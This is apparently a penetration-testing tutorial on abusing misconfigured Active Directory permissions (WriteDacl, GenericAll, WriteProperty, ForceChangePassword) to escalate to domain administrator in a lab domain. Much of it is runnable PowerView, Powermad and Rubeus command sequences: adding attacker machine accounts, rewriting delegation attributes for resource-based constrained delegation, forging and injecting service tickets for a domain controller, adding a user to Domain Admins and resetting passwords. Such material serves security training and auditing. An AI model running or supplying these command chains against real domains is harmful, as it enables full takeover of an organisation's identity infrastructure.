Access privileges for resources in Active Directory Domain Services are usually granted through the use of an Access Control Entry (ACE). 

Access Control List entries describe the allowed and denied permissions for a principal in Active Directory against a securable object (user, group, computer, container, organization unit (OU), GPO etc..) DACLs (Active Directory Discretionary Access Control Lists) are lists made of ACEs (Access Control Entries) that identify the users and groups that are allowed or denied access to an object. When we have misconfigured, ACEs can be abused to operate lateral movement or privilege escalation within an AD domain. 

An example of ACEs for the “Domain Admins” securable object can be seen here: 

Within Active Directory there are a ton of permission types one could use to configure an ACE.

The following permission types are interesting from an attackers perspective: 

  • WriteDACL – modify object’s ACEs and give attacker full control right over the object 
  • GenericAll – full rights to the object (add users to a group or reset user’s password) 
  • GenericWrite – update object’s attributes (i.e logon script) 
  • WriteOwner – change object owner to attacker controlled user take over the object 
  • AllExtendedRights – ability to add user to a group or reset password 
  • ForceChangePassword – ability to change user’s password 
  • Self (Self-Membership) – ability to add yourself to a group 

WriteDacl 

The writeDACL permissions allow an identity to fully control rights over the designated object which means that being a member of a group or a user with that right we are able to modify the ACL to escalate privileges to the domain administrator. 

If we have access to modify the ACL of an AD object, we can assign permissions to an identity that allows them to read/write to a certain attribute (i.e change the account name, reset the password, etc). 

To abuse WriteDacl to a computer object, we can try to give ourselves the GenericAll privilege. 

Sometimes, we need to authenticate to the Domain Controller if we are not running a process as the user with WriteDacl rights. To do this in addition to the Powerview module Add-DomainObjectAcl, first we need to create a PSCredential object. 

$SecPassword = ConvertTo-SecureString 'Password@1' -AsPlainText -Force 

$Cred = New-Object System.Management.Automation.PSCredential('first.local\\admin.user', $SecPassword) 

Add-DomainObjectAcl -Credential $Cred -TargetIdentity FIRST-DC  -PrincipalIdentity writedacldc.user -Rights All

Once we have granted this privilege, we can execute a resource based constrained delegation attack. 

First, if an attacker does not control an account with an SPN set, 

Powermad can be used to add a new attacker-controlled computer account: 

New-MachineAccount -MachineAccount attacker system -Password $(ConvertTo-SecureString 'Password@1' -AsPlainText -Force) 

PowerView can be used to retrieve then the security identifier (SID) of the newly created computer account: 

$ComputerSid = Get-DomainComputer attacker system -Properties objectsid | Select -Expand objectsid 

We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE: 

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" 

$SDBytes = New-Object byte[] ($SD.BinaryLength) 

$SD.GetBinaryForm($SDBytes, 0)

Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we’re taking over, again using PowerView in this case: 

Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes}We can then use Rubeus to hash the plaintext password into its RC4_HMAC form 

We can then use Rubeus to hash the plaintext password into RC4_HMAC 

Rubeus.exe hash /password:Password@1 

And the s4u module to get a service ticket for the service name we want to pretend to be an admin for. This ticket is injected into memory and in this case grants us access to the file system of the FIRST-DC: 

Rubeus.exe s4u /user:attackersystem$ /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /impersonateuser:admin /msdsspn:cifs/FIRST-DC.first.local /ptt

GenericAll 

The GenericAll permission provides write access to all properties (add users to a group or reset the user’s password). The right to read permissions on this object, write all the properties on this object, and perform all validated writes to this object. 

Example: If the attacker has GenericAll over any target, then he doesn’t have to know the target user’s password. He can execute a force password reset using Set-DomainUserPassword to a known value 

Using powerview, we will check if our user has GenericAll rights on the Domain Controller (First-DC) 

Get-ObjectAcl -SamAccountName first-dc | ?{$_.ActiveDirectoryRights -eq "GenericAll"} 

We can see that our user has the GenericAllrights, effectively enabling the user to take over the DC: 

Generic write to a computer object can be used to perform a resource based constrained delegation attack. 

We will use Powermad to add a new attacker-controlled computer account 

New-MachineAccount -MachineAccount genallcomp -Password $(ConvertTo-SecureString 'Password!' -AsPlainText -Force) 

PowerView can be used to retrieve then the security identifier (SID) of the newly created computer account: 

$ComputerSid = Get-DomainComputer genallcomp -Properties objectsid | Select -Expand objectsid 

We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE: 

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" 

$SDBytes = New-Object byte[] ($SD.BinaryLength) 

$SD.GetBinaryForm($SDBytes, 0)

Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we’re taking over, again using PowerView in this case: 

Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{‘msds-allowedtoactonbehalfofotheridentity’=$SDBytes} 

Rubeus.exe hash /password:Password! 

Finally, we can use Rubeus’ s4u module to get a service ticket for the service name we want to “pretend” to be “admin” for. This ticket is injected in memory, and in this case grants us access to the file system of the FIRST-DC: 

Rubeus.exe s4u /user:genallcomp$ /rc4:FBDCD5041C96DDBD82224270B57F11FC /impersonateuser:admin /msdsspn:cifs/FIRST-DC.first.local /ptt 

GenericAll / GenericWrite / Write on Computer 

If you have rights you can perform a resource based constrained delegation 

WriteProperty (Self-Membership) 

If our user has WriteProperty right on All objects for the Domain Admin group: 

We can again add ourselves to the Domain Admins group and escalate privileges: 

net user gpowrite.user /domain; Add-NetGroupUser -UserName gpowrite.user -GroupName "domain admins" -Domain "first.local"; net user gpowrite.user /domain 

ForceChangePassword 

If we have ExtendedRight on User-Force-Change-Password object type, we can reset the user’s password without knowing their current password: 

Using PowerView: 

Set-DomainUserPassword -Identity gpowrite.user -Verbose